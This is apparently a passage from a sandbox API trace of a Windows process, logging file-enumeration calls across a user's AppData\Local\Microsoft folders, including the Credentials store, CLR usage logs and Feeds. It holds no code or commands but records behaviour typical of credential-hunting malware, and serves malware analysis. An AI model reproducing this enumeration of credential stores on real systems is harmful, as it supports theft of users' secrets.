ftLastAccessTime.dwLowDateTime=0x2f75e129, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2f75e129, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d468f80 [0209.485] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2f75e129, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2f75e129, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.485] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f75e129, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x2f75e129, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x2f75e129, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll.exe.log", cAlternateFileName="LIBGLE~1.LOG")) returned 1 [0209.485] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b2eec3b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x5b2eec3b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd48ca0a1, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x110c, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0209.486] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f197fc, ftCreationTime.dwHighDateTime=0x1d7b059, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x1cff45b5, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x15dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0209.486] FindNextFileW (in: hFindFile=0x1d468f80, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f197fc, ftCreationTime.dwHighDateTime=0x1d7b059, ftLastAccessTime.dwLowDateTime=0x70f197fc, ftLastAccessTime.dwHighDateTime=0x1d7b059, ftLastWriteTime.dwLowDateTime=0x1cff45b5, ftLastWriteTime.dwHighDateTime=0x1d8a64d, nFileSizeHigh=0x0, nFileSizeLow=0x15dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 0 [0209.486] FindClose (in: hFindFile=0x1d468f80 | out: hFindFile=0x1d468f80) returned 1 [0209.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.486] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x39 [0209.486] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0_32\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.487] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.488] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0209.488] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0209.488] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.488] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32", lpFilePart=0x0) returned 0x39 [0209.488] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0_32\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0209.489] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.489] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0209.489] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.489] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0209.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.490] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x43 [0209.490] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0209.490] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.490] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd72a95e3, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x1078, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0209.491] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.491] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0209.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0209.491] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs", lpFilePart=0x0) returned 0x43 [0209.491] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.492] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x73c78cc8, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.492] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd72a95e3, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x1078, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0209.492] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73c78cc8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x73c78cc8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xd72a95e3, ftLastWriteTime.dwHighDateTime=0x1d99d09, nFileSizeHigh=0x0, nFileSizeLow=0x1078, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 0 [0209.492] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0209.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0209.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.492] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x39 [0209.493] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7ba16096, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7c8b0775, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.493] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7ba16096, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7c8b0775, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.493] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x508b12b7, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7c8b0775, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7c8b0775, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x2b20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0209.494] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.494] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.494] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x39 [0209.494] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\credentials\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7c8b0775, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7c8b0775, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.495] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x44687ae6, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7c8b0775, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7c8b0775, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.495] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x508b12b7, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7c8b0775, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7c8b0775, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x2b20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 1 [0209.495] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x508b12b7, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x7c8b0775, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0x7c8b0775, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x2b20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFBE70A7E5CC19A398EBF1B96859CE5D", cAlternateFileName="DFBE70~1")) returned 0 [0209.495] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.496] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds", lpFilePart=0x0) returned 0x33 [0209.496] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469dc0 [0209.496] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ce6642, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x216ccb8, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.497] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x216ccb8, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x216ccb8, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x5594ace3, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1 [0209.497] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x212086e, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1 [0209.497] FindNextFileW (in: hFindFile=0x1d469dc0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x20fa614, ftCreationTime.dwHighDateTime=0x1d9b562, ftLastAccessTime.dwLowDateTime=0x212086e, ftLastAccessTime.dwHighDateTime=0x1d9b562, ftLastWriteTime.dwLowDateTime=0x212086e, ftLastWriteTime.dwHighDateTime=0x1d9b562, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0 [0209.497] FindClose (in: hFindFile=0x1d469dc0 | out: hFindFile=0x1d469dc0) returned 1 [0209.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.497] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: 